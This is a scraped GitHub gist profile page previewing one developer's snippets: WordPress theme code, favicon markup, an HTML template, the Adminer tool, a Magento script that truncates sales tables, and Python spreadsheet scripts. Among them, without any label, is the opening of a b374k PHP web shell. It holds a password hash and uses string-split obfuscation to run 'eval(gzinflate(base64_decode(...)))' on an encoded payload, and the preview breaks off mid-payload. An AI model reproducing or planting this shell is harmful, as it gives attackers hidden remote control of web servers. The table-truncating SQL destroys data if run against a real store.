Skip to content

Instantly share code, notes, and snippets.

View sarathlal-old's full-sized avatar
🎯
Focusing

Sarathlal N sarathlal-old

🎯
Focusing
View GitHub Profile
First add below code in theme's functions.php file
//Add logo support
function theme_prefix_setup() {
add_theme_support( 'custom-logo', array(
'height' => 60,
'width' => 200,
'flex-width' => true,
) );
}
<?php if(has_site_icon()) { ?>
<link rel="icon" href="<?php echo get_site_icon_url("32"); ?>" sizes="32x32" />
<link rel="icon" href="<?php echo get_site_icon_url("192"); ?>" sizes="192x192" />
<link rel="apple-touch-icon-precomposed" href="<?php echo get_site_icon_url("180"); ?>" />
<meta name="msapplication-TileImage" content="<?php echo get_site_icon_url("270"); ?>" />
<?php } ?>
<!-- begin custom related loop, isa -->
<?php
// get the custom post type's taxonomy terms
$custom_taxterms = wp_get_object_terms( $post->ID, 'your_taxonomy', array('fields' => 'ids') );
// arguments
$args = array(
'post_type' => 'your_custom_post_type',
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>HTML tags with lorem ipsum</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/7.0.0/normalize.min.css">
@sarathlal-old
sarathlal-old / adminer.php
Created July 11, 2017 06:02
Simple alternative of PHPMyAdmin - https://www.adminer.org/
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.3.1
*/error_reporting(6135);$qc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($qc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$Dg=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($Dg)$$X=$Dg;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");if(isset($_GET["file"])){if($_SERVER["HTTP_IF_MODIFIED_SINCE"]){header("HTTP/1.1 304 Not Modified");exit;}header("Expires: ".gmdate("D, d M Y H:i:s",time()+365*24*60*60)." GMT");header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");header("Cache-Control: immutable");if($_GET["file"]=="favicon.ico"){header("Content-Type: imag
<?php
$GLOBALS['pass'] = "942e0f7bfde2f60abed1034c320ea6b29bcc9b00"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'in'.'fla'.'te(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("7L3pmuM2sij430+hzlPTmXVUVaRWirar2pREat8parF78uMqUuImLtra/e4TABdRmcqqcrtPz517x/11loglAAQCgUAgIvDz31zdzb1r9Ud1pj/79dFylNBUnwPn2XRE5fHvuc850fPE89ODenJNx1O9hw+5h0D1LMMWTfRbPUT/yo59UL0AJSliIEqir6Lfhq056F9LNHBxWw2OjrdDSa7nyKrvq/7D+5/+9uVn1JMfrj3xVN8JPSjw+PdfH6USVd7h3jzownLteYMya1c3W2aqN2pnp0/rywm9aSrFk96tnI81gt8SI1WjgvFs1ip1j9u1sDwXNHNN2jLRP4Q7osfoVru2pd2BPp/XxFq13DjZk9KiovW5o9WraMay3BXok32mnVqrVMzzJ1ff+3RD2+qzfVNXDV9wtjuzLbWHcr85LFDtrtjauc12S1e4prsz7aVCiMOj2BpshMXGWTptwSoe9rtgURqz1q5JrKlGPZj1uKOwWo6WtcJR0QlrNbR0OjwXOwt7uO336gWZWVlsLy9tJ4vDqZd3PCZfc4wl3agTGqlYBXE31IQWa3u9ljggbLEidVfcoVuYbRSGExgt701bhzlN09Zu5XS5fqHqzuZm3TrnF925ELo83wrm1WWPbpujWbtV5g5HDobUaox6YUPnrGGju1d1tlXqkWxTCptWUM6T1cu0NJ2qAjWstFWpbhoeoV7WrCqo5NCqtAqn1nZMlLrqXiVC2vGEymW4D3eFU2kst/p9vtrdbcfhVqmZ3mw0tJuj4bKpsk06bzuLzspsbUu9Vt4n
@sarathlal-old
sarathlal-old / empty-sales-table.sql
Created June 12, 2017 07:27
Remove Sample Sales data - Magento 1
SET FOREIGN_KEY_CHECKS=0;
TRUNCATE `sales_flat_creditmemo`;
TRUNCATE `sales_flat_creditmemo_comment`;
TRUNCATE `sales_flat_creditmemo_grid`;
TRUNCATE `sales_flat_creditmemo_item`;
TRUNCATE `sales_flat_invoice`;
TRUNCATE `sales_flat_invoice_comment`;
TRUNCATE `sales_flat_invoice_grid`;
TRUNCATE `sales_flat_invoice_item`;
TRUNCATE `sales_flat_order`;
def all_same(items):
return all(x == items[0] for x in items)
import openpyxl
import csv
wb = openpyxl.load_workbook('output_beautify.xlsx')
#wb.get_sheet_names()
sheet = wb.get_sheet_by_name('Sheet1')
import openpyxl
import csv
wb = openpyxl.load_workbook('test-file.xlsx')
#wb.get_sheet_names()
sheet = wb.get_sheet_by_name('Sheet1')
row_count = sheet.max_row